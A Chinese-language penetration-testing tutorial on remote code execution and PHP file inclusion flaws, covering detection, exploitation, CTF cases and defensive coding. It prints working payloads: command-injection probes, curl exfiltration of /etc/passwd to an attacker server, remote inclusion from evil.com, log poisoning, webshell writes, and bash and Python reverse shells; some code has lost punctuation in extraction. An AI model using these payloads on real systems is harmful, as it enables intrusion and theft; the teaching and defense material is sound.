Web安全攻防:RCE与文件包含漏洞原理、利用与防御实战
1. 项目概述从“黑盒”到“白盒”的必经之路刚入行那会儿听到“RCE”和“文件包含”这些词总觉得是高手才能玩转的东西带着一层神秘面纱。后来自己上手做项目才发现它们其实是Web安全测试里最基础、也最致命的“敲门砖”。今天这篇笔记就想把我这些年踩过的坑、总结的经验掰开揉碎了讲清楚目标就是让任何一个有点Web基础的朋友都能看懂、能复现、能理解背后的门道。这不仅仅是两个漏洞的讲解更是一套理解Web应用如何“被攻破”的思维模型。无论是你想入门安全测试还是作为开发想堵上自己代码里的窟窿这篇文章都能给你提供一套清晰的实操地图。简单说RCE远程代码执行和文件包含漏洞是攻击者从“访问你的网站”到“控制你的服务器”之间最短、最直接的路径。前者是让服务器执行任意你想要的命令后者则是利用服务器“读文件”的功能去读取或执行本不该被访问的敏感文件或代码。它们经常像一对“黄金搭档”一样出现一个负责打开缺口一个负责扩大战果。理解它们你就理解了Web应用安全攻防的核心逻辑之一。2. 核心漏洞原理深度拆解为什么代码会“不听话”在动手之前我们必须把原理吃透。很多新手一上来就照着Payload攻击载荷猛敲结果换一个环境就懵了。理解原理才能举一反三才能自己构造Payload才能真正称之为“懂”。2.1 RCE漏洞当输入框变成了命令行RCE全称Remote Code/Command Execution。它的本质是应用程序在处理用户输入的数据时未经充分过滤或校验就将其作为代码的一部分交给系统去执行。想象一下你有一个网站功能是“Ping测试”让用户输入一个IP地址然后服务器后台调用系统命令ping [用户输入的IP]来测试网络连通性。代码可能长这样以PHP为例?php $ip $_GET[ip]; system(ping -c 4 . $ip); ?看起来没问题对吧但如果用户输入的不是8.8.8.8而是8.8.8.8; whoami呢拼接后的命令就变成了ping -c 4 8.8.8.8; whoami。在Linux/Unix系统中分号;是命令分隔符。这意味着系统会先执行ping -c 4 8.8.8.8然后执行whoami显示当前用户。这样攻击者就通过一个简单的输入让服务器执行了额外的、未授权的命令。关键点在于“拼接”与“信任”。开发人员信任了用户的输入并直接将其拼接进命令字符串或代码上下文中。常见的危险函数/场景包括命令执行函数system(),exec(),shell_exec(),passthru(),popen()以及反引号操作符。代码执行函数eval()直接执行字符串形式的PHP代码assert()preg_replace()的/e修饰符已废弃但仍可能遇到。反序列化漏洞通过操纵序列化数据触发类中的__destruct()或__wakeup()魔术方法间接执行代码。模板注入在Smarty、Twig等模板引擎中用户输入被直接当作模板语法解析。注意eval()和assert()这类函数是“代码执行”执行的是当前脚本语言如PHP的代码。而system()等是“命令执行”执行的是操作系统如Linux bash的命令。两者危害性都极高但利用方式略有不同。2.2 文件包含漏洞借“鸡”生“蛋”的艺术文件包含漏洞通常出现在使用文件包含函数的场景中如PHP的include(),require(),include_once(),require_once()。这些函数的本意是提高代码复用性比如把头部、尾部、公共函数库做成单独文件在需要时包含进来。漏洞产生的根本原因是包含文件的路径或文件名由用户输入可控且程序未对其进行严格限制。假设有一段代码?php $page $_GET[page]; include(/pages/ . $page . .php); ?开发者的本意是让用户通过?pagehome来访问/pages/home.php。但如果用户传入?page../../../../etc/passwd拼接后就是/pages/../../../../etc/passwd经过路径回溯最终可能成功包含系统文件/etc/passwd导致敏感信息泄露。这就是本地文件包含LFI, Local File Inclusion。更危险的是远程文件包含RFI, Remote File Inclusion。如果php.ini中allow_url_include设置为On攻击者可以传入一个远程URL如?pagehttp://evil.com/shell.txt。那么服务器会去请求这个URL并将返回的内容当作PHP代码包含进来并执行。这样一来攻击者可以直接在服务器上植入Webshell一种网页形式的后门管理工具。LFI和RFI的界限LFI是包含服务器本地的文件RFI是包含远程URL的文件。RFI的危害通常远大于LFI因为它意味着攻击者可以注入任意代码。但在实际渗透中LFI也常常能与其它漏洞配合例如结合日志文件、Session文件、上传文件等实现“本地文件包含→代码执行”的链条。3. 漏洞发现与手工探测实战知道了原理我们就要像猎人一样去寻找这些漏洞。自动化工具如Burp Suite、AWVS能帮我们扫描但真正的高手离不开手工探测的精准和灵活。下面我以两个典型场景为例带你走一遍手工探测的完整思路。3.1 RCE漏洞的手工探测技巧探测RCE核心思路是寻找“用户输入可能影响系统命令或代码执行”的点。第一步功能点枚举显性功能网站中任何涉及“执行系统功能”的地方都是重点目标。例如网络工具Ping、Traceroute、DNS查询、Whois查询。文件操作文件上传可能调用反病毒扫描命令、文件压缩/解压。数据查询某些后台可能通过调用系统命令查询服务器状态。隐性参数URL参数、Cookie、HTTP请求头如User-Agent,X-Forwarded-For、表单字段都可能被后端拼接进命令。不要只盯着输入框。第二步注入点测试找到可疑点后使用分层测试法从无害到有害逐步试探观察响应差异。基础分隔符测试输入127.0.0.1; echo test、127.0.0.1 echo test、127.0.0.1 | echo test。观察页面是否出现“test”字样或者命令执行时间是否有明显延迟如果echo被过滤可以尝试sleep 5。命令回显测试如果上一步有反应尝试获取输出。例如127.0.0.1; whoami、127.0.0.1 id。盲注测试如果页面没有直接回显命令结果可能是“盲RCE”。需要通过其他方式判断命令是否执行。时间盲注使用sleep命令。127.0.0.1; sleep 5如果页面响应延迟了大约5秒说明命令执行成功。DNS外带盲注利用命令触发DNS查询将执行结果带到DNS日志中。例如127.0.0.1; ping -c 1whoami.your-dns-log-server.com。你需要有一个可控的DNS服务器来接收查询记录。这是绕过严格出网限制的高级技巧。HTTP外带盲注利用curl或wget命令将结果发送到你的服务器。127.0.0.1; curl http://your-server.com/cat /etc/passwd | base64。第三步绕过过滤实战中开发人员可能会做一些简单的过滤比如黑名单过滤了空格、分号、反斜杠等。空格绕过用${IFS}、$IFS$9、、、%09Tab的URL编码代替。命令分隔符绕过分号;被过滤可以尝试换行符%0a、、||、后台执行。关键字绕过用通配符?、*或变量拼接。例如awho;bami;$a$b。编码绕过Base64编码命令。echo whoami | base64得到d2hvYW1pCg然后执行echo d2hvYW1pCg | base64 -d | bash。实操心得测试时一定要在授权的靶场或自己搭建的环境中进行真实环境中即使发现漏洞也应立即停止测试并报告未经授权的测试是违法行为。时间盲注的sleep时间不宜过长3-5秒即可避免对目标服务造成明显影响。3.2 文件包含漏洞的手工探测技巧探测文件包含关键是寻找include、require这类函数可能被调用的参数。第一步寻找包含参数直观参数名file、page、path、include、module、template等。模糊测试对每个参数尝试包含一个已知存在的本地文件如/etc/passwdLinux或C:\Windows\win.iniWindows使用../进行目录回溯。Payload示例?file../../../../etc/passwd。关注URL路径有时包含参数是整个路径的一部分如/index.php?pageabout可能对应/templates/about.php。第二步判断包含类型LFI vs RFI测试LFI尝试包含系统已知文件。如果成功读取说明存在LFI。测试RFI尝试包含一个远程URL。例如?filehttp://your-server.com/test.txt。如果allow_url_include开启且无过滤服务器会尝试去获取这个URL。你可以观察你的服务器访问日志是否有来自目标IP的请求。更直接的方式是在test.txt中写入?php phpinfo();?如果包含后页面显示了phpinfo信息则RFI存在且可直接利用。第三步利用LFI获取更大权限单纯的LFI读文件很有用但我们的目标是执行代码。有几种经典技巧包含日志文件Web服务器如Apache的access.log、error.log或SSH日志auth.log会记录用户请求。我们可以通过User-Agent或请求路径将PHP代码“写入”日志文件然后去包含这个日志文件。攻击curl -A ?php system($_GET[c]);? http://target.com/包含?file/var/log/apache2/access.logcwhoami包含Session文件PHP的Session文件通常存储在/tmp或/var/lib/php/sessions中文件名类似sess_[你的PHPSESSID]。如果我们可以控制Session中的部分数据比如用户名就可以将代码写入Session文件然后包含它。包含/proc/self/environ这是Linux系统中的一个特殊文件包含了进程的环境变量。其中HTTP_USER_AGENT等可由我们控制。方法与日志包含类似。包含上传的文件如果网站有上传功能且我们能猜到或找到上传文件的路径就可以上传一个图片马图片中包含PHP代码然后利用LFI去包含这个图片文件。如果服务器配置不当如未校验MIME类型或文件内容图片中的PHP代码会被执行。注意事项包含日志或Session文件时文件中会存在大量其他字符可能造成PHP语法错误。通常需要用?php ... ?将代码包裹并确保其处于新的一行或者利用PHP的php://input流包装器需开启allow_url_include直接执行POST过去的代码?filephp://input同时POST body里写?php system(whoami);?。4. 从漏洞利用到权限获取构建攻击链发现漏洞只是开始如何将其转化为实际的控制权才是渗透测试的精髓。RCE和文件包含很少单独使用它们通常是攻击链中的一环。4.1 RCE的利用与Shell获取获得RCE后我们相当于有了一个在目标服务器上执行命令的“单次通行证”。我们需要将其升级为一个稳定的、交互式的“后门”——也就是Webshell或反向Shell。1. 写入Webshell这是最直接的方式。利用echo命令或下载功能在Web目录下写入一个PHP文件。# 方法1直接echo写入适用于有写权限的目录 ; echo ?php eval($_POST[cmd]);? /var/www/html/shell.php # 方法2使用wget或curl从远程下载 ; wget http://your-server.com/shell.php -O /var/www/html/shell.php # 方法3使用Python、Perl等脚本语言写入如果环境支持 ; python -c open(/var/www/html/shell.py, w).write(import os; os.system(\whoami\))写入后访问http://target.com/shell.php用中国菜刀、蚁剑等工具连接即可获得图形化操作界面。2. 建立反向ShellReverse ShellWebshell的流量是“客户端主动请求服务器”容易被防火墙察觉。反向Shell是“让服务器主动连接我们的监听端口”更隐蔽。在攻击机上监听端口nc -lvnp 4444在目标RCE处执行连接命令# Bash ; bash -c bash -i /dev/tcp/your-ip/4444 01 # Python ; python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((your-ip,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]); # 其他语言Perl, PHP, Ruby等也有类似的一行命令。执行成功后你会在攻击机的nc终端看到目标服务器的Shell提示符。3. 权限提升提权拿到Shell后当前用户权限可能很低如www-data。我们需要寻找路径进行提权Privilege Escalation。信息收集执行id,uname -a,sudo -l,find / -perm -4000 -type f 2/dev/null查找SUID文件cat /etc/crontab查看定时任务。利用内核漏洞使用uname -a查看内核版本搜索对应的公开Exp漏洞利用程序。务必在授权环境测试因为内核Exp可能导致系统崩溃。利用SUID程序如果找到find、vim、bash等命令具有SUID权限可以利用其特性提权。例如已知的findSUID提权find . -exec /bin/sh \; -quit。利用环境变量劫持如果sudo -l显示可以以root身份运行某些程序而不需要密码并且该程序调用了其他命令可能通过劫持PATH环境变量来提权。4.2 文件包含的进阶利用手法单纯的RFI可以直接执行代码等同于RCE。而LFI则需要更多技巧来“转化”为代码执行。1. PHP封装协议PHP Wrappers的妙用PHP内置了一些强大的流包装器是LFI利用的神器。php://filter读取源码当无法直接执行代码时可以用它读取PHP文件的源码避免被解析。这在审计代码时非常有用。?filephp://filter/convert.base64-encode/resourceindex.php服务器会返回index.php文件的base64编码内容解码后即可获得源代码。php://input执行代码需要allow_url_includeOn。将POST body中的数据作为PHP代码执行。POST /vuln.php?filephp://input HTTP/1.1 ... ?php system(whoami);?data://文本数据流同样需要allow_url_includeOn。可以直接在URL中嵌入代码。?filedata://text/plain,?php phpinfo();? ?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg2. 结合文件上传这是非常经典的组合拳。找到一个文件上传点上传一个内容为?php system($_GET[‘c’]);?的图片文件如shell.jpg。上传成功后通过响应或猜测获取文件的存储路径如/uploads/2023/10/shell.jpg。利用LFI漏洞包含这个图片文件?file./uploads/2023/10/shell.jpgcwhoami。如果服务器配置了AddType application/x-httpd-php .jpg错误配置图片会被当作PHP解析。即使没有在某些LFI场景下包含文件时不检查后缀文件内容会被当作PHP代码执行。3. 包含临时文件PHP在处理文件上传时会先创建一个临时文件路径通常在/tmp/phpXXXXXX。这个文件在请求结束后会被删除时间窗口极短。但通过条件竞争Race Condition攻击可以在临时文件被删除前利用LFI去包含并执行它。这是比较高阶的技巧需要编写脚本进行多线程并发攻击。5. 防御方案与安全开发实践作为渗透测试者我们不仅要会攻更要懂防。了解如何修复才能给客户提供有价值的建议也才能写出更健壮的代码。5.1 RCE漏洞的防御核心原则永远不要信任用户输入特别是当它要参与命令或代码执行时。避免使用危险函数这是最根本的。如果业务逻辑非要用到system、exec、eval等函数需要极其严格的审查。使用安全的替代函数对于命令执行尽量使用语言内置的、参数化的API。例如在PHP中用escapeshellarg()或escapeshellcmd()对命令参数进行转义。但注意它们并非绝对安全。更好的方式是使用不需要调用Shell的函数如PHP的proc_open()或popen()配合正确的参数传递。白名单校验对于Ping这类功能用户输入应该只允许是IP地址或主机名。使用正则表达式进行严格匹配只允许通过预定义的、安全的字符集合。$ip $_GET[ip]; if (!preg_match(/^[0-9\.]$/, $ip)) { // 简单示例实际IP校验更复杂 die(Invalid IP address); } system(ping -c 4 . escapeshellarg($ip));最小权限原则运行Web服务的用户如www-data、nobody应该被限制在最小必要权限内绝不能是root。这样即使被RCE能造成的破坏也有限。禁用危险函数在php.ini中通过disable_functions配置项禁用system,exec,shell_exec,passthru,eval,assert等函数。5.2 文件包含漏洞的防御核心原则固定或严格校验被包含文件的路径。避免动态包含如果可能尽量不要让用户输入直接或间接决定包含哪个文件。使用静态映射或选择结构。$pages [home home.php, about about.php, contact contact.php]; $page $_GET[page]; if (array_key_exists($page, $pages)) { include(/templates/ . $pages[$page]); } else { include(/templates/404.php); }路径固定化如果必须动态则在拼接路径后进行规范化并检查是否在允许的目录内。$base_dir /var/www/html/includes/; $file $_GET[file]; $real_path realpath($base_dir . $file); // 解析真实路径 // 检查真实路径是否以 $base_dir 开头防止目录穿越 if ($real_path false || strpos($real_path, $base_dir) ! 0) { die(Invalid file path.); } include($real_path);关闭危险配置在php.ini中确保allow_url_fopen和allow_url_include设置为Off。这是防止RFI的最有效手段。文件后缀限制强制为包含的文件添加后缀如.php并在包含前检查文件是否存在且后缀正确。但这不能完全防御LFI。使用安全的文件访问方式考虑使用文件读取函数如file_get_contents()代替包含函数如果只是为了读取文件内容而非执行代码。6. 实战案例复盘与排查技巧理论说再多不如看两个实战例子。这里我复盘两个经典的CTF题目场景它们很好地体现了RCE和文件包含漏洞的利用思路。6.1 案例一[极客大挑战 2019]RCE Me这道题是一个经典的、需要代码审计的RCE题目。通常你会拿到一段PHP源码核心代码可能如下?php error_reporting(0); if(isset($_GET[code])){ $code$_GET[code]; if(strlen($code)40){ die(This is too Long.); } if(preg_match(/[A-Za-z0-9]/,$code)){ die(NO.); } eval($code); } else{ highlight_file(__FILE__); } ?漏洞点分析代码获取code参数直接传给eval()执行这是明显的代码执行漏洞。但有两个限制1. 长度不超过40字符2. 不能出现数字和字母。绕过思路这就是典型的“无字母数字RCE”挑战。我们需要构造一个不含字母数字但能执行命令的字符串。利用PHP的字符串操作在PHP中可以通过异或^、取反~等操作用非字母数字的字符构造出我们想要的函数名字符串。利用自增运算符a会变成b。我们可以从一个非字母的变量开始通过自增得到字母。利用PHP的弱类型和特殊变量例如$_超全局数组在某些情况下可以获取到字符。一个常见的Payload构造方法是使用取反。例如~运算符会对字符串进行按位取反。我们可以先计算出所需命令的取反后的字符串然后再次取反得到原命令。// 例如我们想构造 phpinfo(); // phpinfo 的取反是 %8F%97%8F%96%91%99%90 (URL编码后) $payload (~%8F%97%8F%96%91%99%90)(); // 这在实际传递时需要处理编码在实际解题中通常会写一个小脚本生成这样的Payload。最终通过精心构造一个不超过40字符且无字母数字的字符串调用eval执行system(cat /flag)之类的命令。排查与防御对于此类题目防御就是避免使用eval()。如果必须用除了长度和字符黑名单几乎无法做到绝对安全。因此在真实环境中eval()应被彻底禁止。6.2 案例二利用PHP封装协议与文件包含读取Flag假设一个场景题目存在LFI但无法直接执行代码。目标是要读取服务器上一个名为flag.php的源代码而该文件直接访问会显示空白因为可能只定义了变量没有输出。利用过程发现包含点?filewelcome.php。尝试读取flag.php源码直接包含?fileflag.php会执行它但看不到源码。使用php://filter读取器。Payload?filephp://filter/convert.base64-encode/resourceflag.php服务器返回一串Base64编码的字符串。解码后得到flag.php的源代码其中包含了Flag信息。为什么能成功php://filter是一个“过滤器”它可以在数据流被include函数“执行”之前先对数据进行处理这里是用base64编码。include函数拿到了base64编码后的文本它试图将其作为PHP代码执行但base64编码的文本不是有效的PHP代码所以不会被执行而是会以“文本”形式出现在错误信息或直接输出中取决于配置。这样我们就绕过了“执行”实现了“读取”。排查与防御防御此类攻击除了前面提到的路径校验和白名单还应考虑过滤或禁用危险的协议。可以在PHP配置或代码层面对包含的路径进行协议黑名单过滤但更推荐使用白名单方式只允许包含特定的、已知安全的本地文件。7. 工具辅助与自动化思维手工探测是基础但效率有限。在实际工作中我们一定会借助工具。Burp Suite渗透测试的瑞士军刀。它的Repeater模块用于手动修改和重放请求Intruder模块用于对参数进行模糊测试Fuzzing可以快速测试大量Payload。Scanner模块也能自动检测一些常见的RCE和文件包含漏洞。SQLMap虽然主打SQL注入但其--os-shell参数在特定条件下能利用SQL注入漏洞获取RCE其--file-read参数可以读取服务器文件有时能辅助LFI利用。定制化脚本面对复杂的过滤规则往往需要自己编写Python脚本自动化地生成和测试Payload。例如针对“无字母数字RCE”的题目编写脚本自动生成取反或异或的Payload。反连平台Reverse Shell Platform如ngrok、frp等内网穿透工具或者自己用云服务器搭建一个带有公网IP的监听服务用于接收反向Shell连接这在实战中非常必要。工具是手臂的延伸思维才是大脑的核心。自动化不是无脑扫描而是将你的手工探测思路如分层测试、绕过技巧固化到工具或脚本中实现批量化、精准化的测试。例如你可以整理一个针对命令分隔符、空格绕过的Payload字典用Intruder去跑也可以写一个脚本自动尝试包含/proc/self/environ、各种日志路径等常见LFI利用点。最后我想说的是Web渗透测试是一个需要不断学习、实践和思考的领域。RCE和文件包含只是众多漏洞类型中的两种但它们的原理——“用户输入被过度信任并用于敏感操作”——是许多其他漏洞如SQL注入、XSS、SSRF的共通本质。吃透这两个漏洞建立起“输入-处理-输出”的安全审计思维你会发现自己看代码、测功能的角度都会发生质的变化。真正的安全不是堆砌防御规则而是理解攻击者的思维并在代码的每一处细节中消除那些可能被利用的“不信任”。